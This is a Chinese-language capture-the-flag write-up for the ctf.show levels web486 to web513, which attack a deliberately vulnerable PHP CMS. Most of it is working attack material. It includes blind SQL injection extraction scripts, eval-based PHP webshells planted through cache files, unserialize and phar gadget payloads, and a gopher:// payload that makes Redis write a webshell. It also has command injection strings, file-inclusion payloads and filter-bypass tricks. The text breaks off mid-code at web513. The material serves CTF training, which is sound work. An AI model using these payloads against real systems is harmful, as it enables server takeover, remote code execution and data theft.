web486

根据报错信息提示,发现需要提供action参数,然后file_get_contents($_GET['action'].php)

?action=../flag

web487

利用上题任意文件读取看index.php源码

<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	$username=$_GET['username'];
	$password=$_GET['password'];
	$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		header('location:index.php?action=login');
	}
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

这里存在sql注入,然后username处应该是有回显的,但可能题目有问题,回显不了。
使用盲注脚本

import requests

url = "http://df52edca-7258-4e0a-8b02-6943d7e6edd7.challenge.ctf.show/index.php?action=check"

result = ''
i = 0

proxy = {
    'http':"http://127.0.0.1:8080"
}

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
        # payload = f'if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
        payload = f'if(ascii(substr((select(group_concat(flag))from(ctfshow.flag)),{i},1))>{mid},1,0)'
        data = {
            'username': f"999')||{payload}#",
            'password': "123"
        }
        r = requests.get(url,params=data,proxies=proxy)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web488

分析下源码
render_class.php


<?php

include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}

}

cache_class.php

<?php

class cache{
	public static function create_cache($template,$content){
		if(file_exists('cache/'.md5($template).'.php')){
			return true;
		}else{
			fileUtil::write('cache/'.md5($template).'.php',$content);
		}
	}
	public static function get_cache($template){
		return fileUtil::read('cache/'.md5($template).'.php');
	}
	public static function cache_exists($template){
		return file_exists('cache/'.md5($template).'.php');
	}

}

在缓存文件功能处,存在任意写文件。

可以控制md5(error).php的内容,在username处写入内容。

?action=check&username=<?php eval($_POST[1]);?>&password=123

访问/cache/cb5e100e5a9a3e7f6d1fd97512215282.php连接shell

web489

使用extract函数进行变量覆盖
index.php

<?php
include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	extract($_GET);
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		templateUtil::render('error');
	}
}

if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

直接覆盖sql语句来写shell,但是没有写权限
还是只能盲注

import requests

url = "http://ef0b4c73-1742-4596-951a-f359520c8d19.challenge.ctf.show/index.php?action=check"

result = ''
i = 0

proxy = {
    'http':"http://127.0.0.1:8080"
}

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f"if(ascii(substr((select load_file('/flag')),{i},1))>'{mid}',sleep(0.6),1)"
        data = {
            'sql': f"select {payload}"
        }
        try:
            r = requests.get(url,params=data,proxies=proxy, timeout=0.5)
            tail = mid
        except:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web490

index.php

<?php

include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}

if($action=='check'){
	extract($_GET);
	$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$user->username));
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

username处存在sql注入。

import requests

url = "http://34dbfb2d-2b7b-4ffc-9f66-c4f653c2116f.challenge.ctf.show//index.php?action=check"

result = ''
i = 0

proxy = {
    'http':"http://127.0.0.1:8080"
}

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f"if(ascii(substr((select load_file('/flag')),{i},1))>'{mid}',1,0)"
        data = {
            'username': f"admin' or {payload}#",
            'password': "123",

        }
        r = requests.get(url=url, params=data,proxies=proxy)
        if '不存在' not in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web491

同上

web492

对username做了正则匹配,只能为字母数字。

<?php

if($action=='check'){
	extract($_GET);
	if(preg_match('/^[A-Za-z0-9]+$/', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$user=db::select_one_array($sql);
	}
	if($user){
		templateUtil::render('index',$user);
	}else{
		templateUtil::render('error');
	}
}

render/render_class.php

<?php

include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
		}
		return $templateContent;
	}
}

先使用变量覆盖,控制$user的值,再利用创建缓存文件来写入。

?action=check&user[username]=--><?php%20@eval($_POST[1]);?>

访问/cache/6a992d5529f459a44fee58c733255e86.php
连接shell即可。

web493

存在反序列化入口。
index.php

<?php
$action=$_GET['action'];
if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		$user=unserialize($c);
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}

找可以利用的destruct函数。
db_class.php

<?php
error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}

	public function getConnection(){
		 
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}

	public  function select_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}

	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_assoc();
		}

	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}
class dbLog{
	public $sql;
	public $content;
	public $log;

	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

poc

<?php

class dbLog{
public $sql;
public $content;
public $log;

public function __construct(){
$this->log='/var/www/html/1.php';
$this->sql="";
$this->content="<?php @eval(\$_POST[1])?>";
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}

echo serialize(new dbLog());

url编码一下

Cookie: user=%4f%3a%35%3a%22%64%62%4c%6f%67%22%3a%33%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%73%3a%30%3a%22%22%3b%73%3a%37%3a%22%63%6f%6e%74%65%6e%74%22%3b%73%3a%32%34%3a%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%3b%73%3a%33%3a%22%6c%6f%67%22%3b%73%3a%31%39%3a%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%7d;

web494

预期应该是sql注入绕过,但用上题payload的反序列化依然可以。
flag再数据库中。

<?php
$action=$_GET['action'];
if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(preg_match('/\:|\,/', $c)){
			$user=unserialize($c);
		}
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}

if($action=='check'){
	extract($_GET);
	if(!preg_match('/or|and|innodb|sys/i', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$db=new db();
		$user=$db->select_one_array($sql);
	}
	if($user){
		setcookie('user',$user);
		templateUtil::render('index',$user);
	}else{
		templateUtil::render('error');
	}
}

web495

同上

<?php
$username=$_POST['username'];
		$password=$_POST['password'];
		if(!preg_match('/file|innodb|sys|mysql/i', $username)){
			$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
			$db=new db();
			$user=$db->select_one_array($sql);
		}

web496

反序列化入口被注释掉了,只能sql注入了

<?php
$username=$_POST['username'];
		$password=$_POST['password'];
		if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
			$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
			$db=new db();
			$user=$db->select_one_array($sql);
		}

但是这里因为过滤了总表,没法查询表名和列名。(在知道的情况下可以注入)

import requests

url = "http://b078dfb1-17d3-4a27-bd57-c72019b486da.challenge.ctf.show/index.php?action=check"

result = ''
i = 0

proxy = {
    'http':"http://127.0.0.1:8080"
}

while True:
    i = i + 1
    head = 32
    tail = 127

    #print(i)
    while head < tail:
        mid = (head + tail) >> 1
        #print("mid",mid)
        payload = f"if(ascii(substr((select  flagisherebutyouneverknow118 from flagyoudontknow76),{i},1))>'{mid}',1,0)"
        data = {
            'username': f"123' || {payload}#",
            'password': "123",

        }
        r = requests.post(url=url, data=data,proxies=proxy,allow_redirects=False)
        #print(r.status_code)
        if 302 == r.status_code:
            head = mid + 1
            #print("in the right")
        else:
            tail = mid
            #print("in the left")

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

使用万能账号登录进后台后,有一个更新密码功能。
admin_edit.php

<?php

session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里没有过滤,存在update型注入

import requests
import string
url="http://b078dfb1-17d3-4a27-bd57-c72019b486da.challenge.ctf.show"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"1'||1#","password":1})
flag=""
for i in range(9,70):
        print(i)
        for j in s:
            data={
            'nickname':str(i*2)+str(j), #不让nickname重复就行
            #'user[username]':"1'||if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)
            #'user[username]':"1'||if(substr((select  group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)
            'user[username]':"1'||if(substr((select  flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)

            }
            r=sess.post(url+"/api/admin_edit.php",data=data)
            if("u529f" in r.text):
                flag+=j
                print(flag)
                break

web497

使用万能账号登录后台
上传图片处存在ssrf漏洞。

render_class.php

<?php
public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {

			if(stripos($templateContent, '{{img:'.$key.'}}')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
			}
			
		}

payload

file:///flag

web498

同上存在ssrf,但是需要用ssrf打redis
使用poc

dict://127.0.0.1:6379

根据返回值发现存在redis服务
使用Gopherus生成payload

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2429%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

连接shell.php,flag在根目录。

web499

登录后台,系统配置功能处,能修改配置信息。

注入php代码进/config/settings.php

web500

修改了配置文件的后缀,无法解析了。

admin_settings.php

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
	foreach ($_POST as $key => $value) {
		$config[$key]=$value;
	}
	file_put_contents(__DIR__.'/../config/settings', serialize($config));
	$ret['msg']='管理员信息修改成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

查看数据管理的数据库备份功能处
/api/admin_db_backup

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);


	if(file_exists(__DIR__.'/../backup/'.$db_path)){
		$ret['msg']='数据库备份成功';
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里存在命令注入

db.zip&&cat /flag_bei_ni_fa_xian_le >1.txt

web501

命令注入处添加了正则匹配,还是可以注入。

<?php

session_start();


error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);

	if(preg_match('/^zip|tar|sql$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
		if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

payload

db_format=zip;cat /flag_bei_ni_fa_xian_le >1.txt

web502

系統配置功能处存在文件上传,且只有前台校验文件类型。

api/admin_upload.php

<?php
$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
		if(!preg_match('/^php$/i', $ext)){
			$basename = "../img/".$filename.'.' . $ext;
			move_uploaded_file($arr["tmp_name"],$basename);
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}
		
	}else{
		$ret['msg']='文件上传失败';
	}
	
	die(json_encode($ret));

后台会校验,不让后缀为php,考虑用其他后缀来绕过,单发现都不解析。。。

上传文件路径为/img/md5("filename").phtml
也可以在config/settings中看到路径

发现之前的命令注入处依然可以利用
api/admin_db_backup.php

<?php
session_start();

include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
			die(json_encode($ret));
	}

	if(preg_match('/^(zip|tar|sql)$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
		if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

正则添加括号后,无法再绕过了,但是多了一个pre参数可以利用。

db_format=zip&pre=1;cat /flag_bei_ni_fa_xian_le > /var/www/html/1.txt;echo

web503

api/admin_db_backup.php

<?php
extract($_POST);
	if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
			die(json_encode($ret));
	}

	if(preg_match('/^(zip|tar|sql)$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
		if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

这里使用md5的方式,无法进行注入了。
存在file_exists函数,并且网站logo处存在任意文件上传。
可以考虑使用phar://反序列化。参考文章php反序列化拓展攻击详解--phar

生成phar包

<?php
class dbLog{
    public $sql;
    public $content="<?php @eval(\$_POST[1])?>";
    public $log="/var/www/html/1.php";
}

$c=new dbLog();

$phar = new Phar("ctfshow.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();

?>

修改名为png上传

再数据库备份功能处,触发发序列化

访问shell即可获得flag。

web504

增加了模板管理功能。
在新增模板功能处存在任意文件上传,且存在目录穿越。
利用/api/admin_settings.php中的/config/settings来触发反序列化。

上传文件

name=../config/settings&content=%4f%3a%35%3a%22%64%62%4c%6f%67%22%3a%33%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%73%3a%30%3a%22%22%3b%73%3a%37%3a%22%63%6f%6e%74%65%6e%74%22%3b%73%3a%32%34%3a%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%3b%73%3a%33%3a%22%6c%6f%67%22%3b%73%3a%31%39%3a%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%7d;

访问/api/admin_settings.php
连接1.php

web505

增加了一个文件查看功能,用来看源码。
api/admin_file_view.php

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里存在一个文件包含

上传文件后

f=/var/www/html/img/4a47a0db6e60853dedfcfdf08a5ca249.png&debug=1&1=system('cat /flag_is_here_aabbcc');

web506

api/admin_file_view.php

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	$ext = substr($f, strlen($f)-3,3);
	if(preg_match('/php|sml|phar/i', $ext)){
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

增加了限制,文件名后缀不能为php,sml,phar

用上题方法依然可以

web507

web508

同上

web509

api/admin_file_view.php

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	if(preg_match('/php|sml|phar|\:|data|file/i', $f)){
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

又增加了一些过滤,但还是可以利用。

文件上传处,对内容也做了过滤
api/admin_upload.php

<?php
$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
		if(!preg_match('/^php$/i', $ext)){
			if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){
                	$ret['msg']='请不要使用此功能';
                	die(json_encode($ret));
        		}

			$basename = "../img/".$filename.'.' . $ext;
			move_uploaded_file($arr["tmp_name"],$basename);
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}
		
	}else{
		$ret['msg']='文件上传失败';
	}

使用短标签,绕过php关键字

user<?= @eval($_POST[1]);?>

web510

api/admin_upload.php

<?php
$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
		if(!preg_match('/^php$/i', $ext)){
			if(preg_match('/php|sml|phar|\:|data|file|<|>|\`|\?|=/i', file_get_contents($arr["tmp_name"]))){
                	$ret['msg']='请不要使用此功能';
                	die(json_encode($ret));
        		}

			$basename = "../img/".$filename.'.' . $ext;
			move_uploaded_file($arr["tmp_name"],$basename);
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}
		
	}else{
		$ret['msg']='文件上传失败';
	}

现在基本上内容全过滤了,无法绕过。

查看session文件发现刚好满足,user开头的格式,并且内容可控。

查看生成session代码
index.php

<?php

session_start();
include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];

...

switch ($action) {
	case 'check':
		$username=$_POST['username'];
		$password=$_POST['password'];
		if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
			$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
			$db=new db();
			$user=$db->select_one_array($sql);
		}
		if($user){
			$_SESSION['user']=$user;
			header('location:index.php?action=index');
		}else{
			templateUtil::render('error');
		}
		break;
	case 'clear':
		system('rm -rf cache/*');
		die('cache clear');
		break;
	case 'login':
		templateUtil::render($action);
		break;
	case 'index':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render('index',$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'view':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render($_GET['page'],$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'logout':
		session_destroy();
		header('location:index.php?action=login');
		break;
	default:
		templateUtil::render($action);
		break;
}

在基本资料处修改昵称为<?php @eval($_POST[1])?>

使用文件包含点

web511

sess也过滤了
api/admin_file_view.php

<?php
extract($_POST);
        if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){
                $ret['msg']='请不要使用此功能';
                die(json_encode($ret));
        }
        if($debug==1 && preg_match('/^user/', file_get_contents($f))){
                include($f);
        }else{
                $ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
        }
        $ret['msg']='查看成功';
        die(json_encode($ret));

查看模板渲染代码
render/render_class.php

<?php

include('file_class.php');
include('cache_class.php');

class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}

	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
			}
			if(stripos($templateContent, '{{img:'.$key.'}}')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{{config:'.$key.'}}')){
				$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}

	public static function checkVar($templateContent,$arg){
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{{var:'.$key.'}}')){
				eval('$v='.$value.';');
				$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
			}
		}
		return $templateContent;
	}


}

checkVar函数中有eval函数,考虑利用它来命令执行。
这里要通过stripos函数,所以需要在标签前加其他字符。

使用新增模板功能

new.sml
123{{var:nickname}}

更改昵称为

`cat /flag_is_here_sf`

访问模板
/index.php?action=view&page=new

web512

checkVar函数处增加了过滤

<?php
public static function checkVar($templateContent,$arg){
		$db=new db();
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{{var:'.$key.'}}')){
				if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){
					eval('$v='.$value.';');
					$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
				}
				
			}
		}
		return $templateContent;
	}

使用EOF来绕过引号

1;
$a = <<<EOF
<?php includ
EOF;
$b = <<<EOF
e $
EOF;
$c = <<<EOF
_POS
EOF;
$d = <<<EOF
T{1}?>
EOF;
$e = <<<EOF
11.php
EOF;
$db->log->log=$e;
$db->log->content=$a.$b.$c.$d;

使用登录处的sql注入来绕过修改信息时的长度限制。

action=check&username=1'%20union%20select%20%22%31%3b%0a%24%61%20%3d%20%3c%3c%3c%45%4f%46%0a%3c%3f%70%68%70%20%69%6e%63%6c%75%64%0a%45%4f%46%3b%0a%24%62%20%3d%20%3c%3c%3c%45%4f%46%0a%65%20%24%0a%45%4f%46%3b%0a%24%63%20%3d%20%3c%3c%3c%45%4f%46%0a%5f%50%4f%53%0a%45%4f%46%3b%0a%24%64%20%3d%20%3c%3c%3c%45%4f%46%0a%54%7b%31%7d%3f%3e%0a%45%4f%46%3b%0a%24%65%20%3d%20%3c%3c%3c%45%4f%46%0a%31%31%2e%70%68%70%0a%45%4f%46%3b%0a%24%64%62%2d%3e%6c%6f%67%2d%3e%6c%6f%67%3d%24%65%3b%0a%24%64%62%2d%3e%6c%6f%67%2d%3e%63%6f%6e%74%65%6e%74%3d%24%61%2e%24%62%2e%24%63%2e%24%64%3b%22%2c2%2c3%23&password=123&random=1

创建模板文件

123{{var:username}}

访问模板文件后,生成11.php

web513

render/render_class.php

<?php
public static function checkVar($templateContent,$arg){
		$db=new db();
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{{var:'.$key.'}}')){
